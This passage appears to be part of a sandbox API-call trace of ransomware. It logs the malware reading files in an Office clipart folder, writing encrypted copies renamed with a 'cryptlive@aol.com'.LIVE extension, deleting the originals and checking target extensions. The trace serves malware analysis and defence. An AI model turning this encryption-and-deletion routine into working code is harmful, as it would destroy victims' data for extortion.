Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.916] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=51401) returned 1 [0149.916] CloseHandle (hObject=0x3a8) returned 1 [0149.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20 [0149.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.935] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.935] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0149.936] GetLastError () returned 0x0 [0149.936] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xc8c9, lpOverlapped=0x0) returned 1 [0149.957] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xc8d0, lpOverlapped=0x0) returned 1 [0149.958] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.959] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.959] SetEndOfFile (hFile=0x1ec) returned 1 [0149.959] CloseHandle (hObject=0x1ec) returned 1 [0149.959] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.959] SetEndOfFile (hFile=0x39c) returned 1 [0149.962] CloseHandle (hObject=0x39c) returned 1 [0149.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0149.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.963] lstrlenW (lpString=".doc") returned 4 [0149.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.963] lstrlenW (lpString=".docx") returned 5 [0149.963] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0149.963] lstrlenW (lpString=".pdf") returned 4 [0149.963] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.963] lstrlenW (lpString=".xls") returned 4 [0149.963] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.963] lstrlenW (lpString=".xlsx") returned 5 [0149.963] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0149.963] lstrlenW (lpString=".ppt") returned 4 [0149.963] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.963] lstrlenW (lpString=".zip") returned 4 [0149.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.963] lstrlenW (lpString=".rar") returned 4 [0149.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.963] lstrlenW (lpString=".bz2") returned 4 [0149.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.963] lstrlenW (lpString=".7z") returned 3 [0149.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.963] lstrlenW (lpString=".dbf") returned 4 [0149.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.963] lstrlenW (lpString=".1cd") returned 4 [0149.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.963] lstrlenW (lpString=".jpg") returned 4 [0149.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.964] lstrlenW (lpString=".doc") returned 4 [0149.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.964] lstrlenW (lpString=".docx") returned 5 [0149.964] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0149.964] lstrlenW (lpString=".pdf") returned 4 [0149.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.964] lstrlenW (lpString=".xls") returned 4 [0149.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.964] lstrlenW (lpString=".xlsx") returned 5 [0149.964] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0149.964] lstrlenW (lpString=".ppt") returned 4 [0149.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.964] lstrlenW (lpString=".zip") returned 4 [0149.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.964] lstrlenW (lpString=".rar") returned 4 [0149.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.964] lstrlenW (lpString=".bz2") returned 4 [0149.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.964] lstrlenW (lpString=".7z") returned 3 [0149.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.964] lstrlenW (lpString=".dbf") returned 4 [0149.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.964] lstrlenW (lpString=".1cd") returned 4 [0149.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0149.964] lstrlenW (lpString=".jpg") returned 4 [0149.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.964] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.965] lstrlenW (lpString="J0099205.WMF") returned 12 [0149.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.983] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17854) returned 1 [0149.983] CloseHandle (hObject=0x3a8) returned 1 [0149.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0150.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.176] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.177] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0150.178] GetLastError () returned 0x0 [0150.178] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x45be, lpOverlapped=0x0) returned 1 [0150.311] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0150.312] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.312] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.313] SetEndOfFile (hFile=0x1f8) returned 1 [0150.313] CloseHandle (hObject=0x1f8) returned 1 [0150.313] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.313] SetEndOfFile (hFile=0x36c) returned 1 [0150.315] CloseHandle (hObject=0x36c) returned 1 [0150.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.315] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0150.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.316] lstrlenW (lpString=".doc") returned 4 [0150.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString=".docx") returned 5 [0150.317] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0150.317] lstrlenW (lpString=".pdf") returned 4 [0150.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString=".xls") returned 4 [0150.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.317] lstrlenW (lpString=".xlsx") returned 5 [0150.317] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0150.317] lstrlenW (lpString=".ppt") returned 4 [0150.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.317] lstrlenW (lpString=".zip") returned 4 [0150.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.317] lstrlenW (lpString=".rar") returned 4 [0150.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString=".bz2") returned 4 [0150.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString=".7z") returned 3 [0150.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.317] lstrlenW (lpString=".dbf") returned 4 [0150.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.317] lstrlenW (lpString=".1cd") returned 4 [0150.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.317] lstrlenW (lpString=".jpg") returned 4 [0150.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.317] lstrlenW (lpString=".doc") returned 4 [0150.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.317] lstrlenW (lpString=".docx") returned 5 [0150.317] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0150.318] lstrlenW (lpString=".pdf") returned 4 [0150.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.318] lstrlenW (lpString=".xls") returned 4 [0150.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.318] lstrlenW (lpString=".xlsx") returned 5 [0150.318] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0150.318] lstrlenW (lpString=".ppt") returned 4 [0150.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.318] lstrlenW (lpString=".zip") returned 4 [0150.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.318] lstrlenW (lpString=".rar") returned 4 [0150.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.318] lstrlenW (lpString=".bz2") returned 4 [0150.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.318] lstrlenW (lpString=".7z") returned 3 [0150.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.318] lstrlenW (lpString=".dbf") returned 4 [0150.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.318] lstrlenW (lpString=".1cd") returned 4 [0150.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0150.318] lstrlenW (lpString=".jpg") returned 4 [0150.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.318] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.318] lstrlenW (lpString="J0101859.BMP") returned 12 [0150.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.319] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=31968) returned 1 [0150.319] CloseHandle (hObject=0x36c) returned 1 [0150.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0150.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0150.320] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.320] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0150.320] GetLastError () returned 0x0 [0150.320] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.368] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0150.370] ReadFile (in: hFile=0x36c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0150.370] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.370] SetEndOfFile (hFile=0x1f8) returned 1 [0150.370] CloseHandle (hObject=0x1f8) returned 1 [0150.370] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0150.370] SetEndOfFile (hFile=0x36c) returned 1 [0150.373] CloseHandle (hObject=0x36c) returned 1 [0150.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.395] lstrlenW (lpString=".doc") returned 4 [0150.395] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.395] lstrlenW (lpString=".docx") returned 5 [0150.395] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0150.395] lstrlenW (lpString=".pdf") returned 4 [0150.395] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.395] lstrlenW (lpString=".xls") returned 4 [0150.395] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.395] lstrlenW (lpString=".xlsx") returned 5 [0150.395] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0150.395] lstrlenW (lpString=".ppt") returned 4 [0150.396] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.396] lstrlenW (lpString=".zip") returned 4 [0150.396] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString=".rar") returned 4 [0150.396] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString=".bz2") returned 4 [0150.396] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString=".7z") returned 3 [0150.396] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.396] lstrlenW (lpString=".dbf") returned 4 [0150.396] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.396] lstrlenW (lpString=".1cd") returned 4 [0150.396] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.396] lstrlenW (lpString=".jpg") returned 4 [0150.396] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.396] lstrlenW (lpString=".doc") returned 4 [0150.396] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString=".docx") returned 5 [0150.396] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0150.396] lstrlenW (lpString=".pdf") returned 4 [0150.396] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString=".xls") returned 4 [0150.396] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0150.396] lstrlenW (lpString=".xlsx") returned 5 [0150.396] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0150.397] lstrlenW (lpString=".ppt") returned 4 [0150.397] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0150.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.397] lstrlenW (lpString=".zip") returned 4 [0150.397] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0150.397] lstrlenW (lpString=".rar") returned 4 [0150.397] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0150.397] lstrlenW (lpString=".bz2") returned 4 [0150.397] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0150.397] lstrlenW (lpString=".7z") returned 3 [0150.397] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0150.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.397] lstrlenW (lpString=".dbf") returned 4 [0150.397] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0150.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.398] lstrlenW (lpString=".1cd") returned 4 [0150.398] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0150.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0150.398] lstrlenW (lpString=".jpg") returned 4 [0150.398] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0150.398] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.398] lstrlenW (lpString="J0101864.BMP") returned 12 [0150.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.399] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=31968) returned 1 [0150.399] CloseHandle (hObject=0x3a8) returned 1 [0150.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0150.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 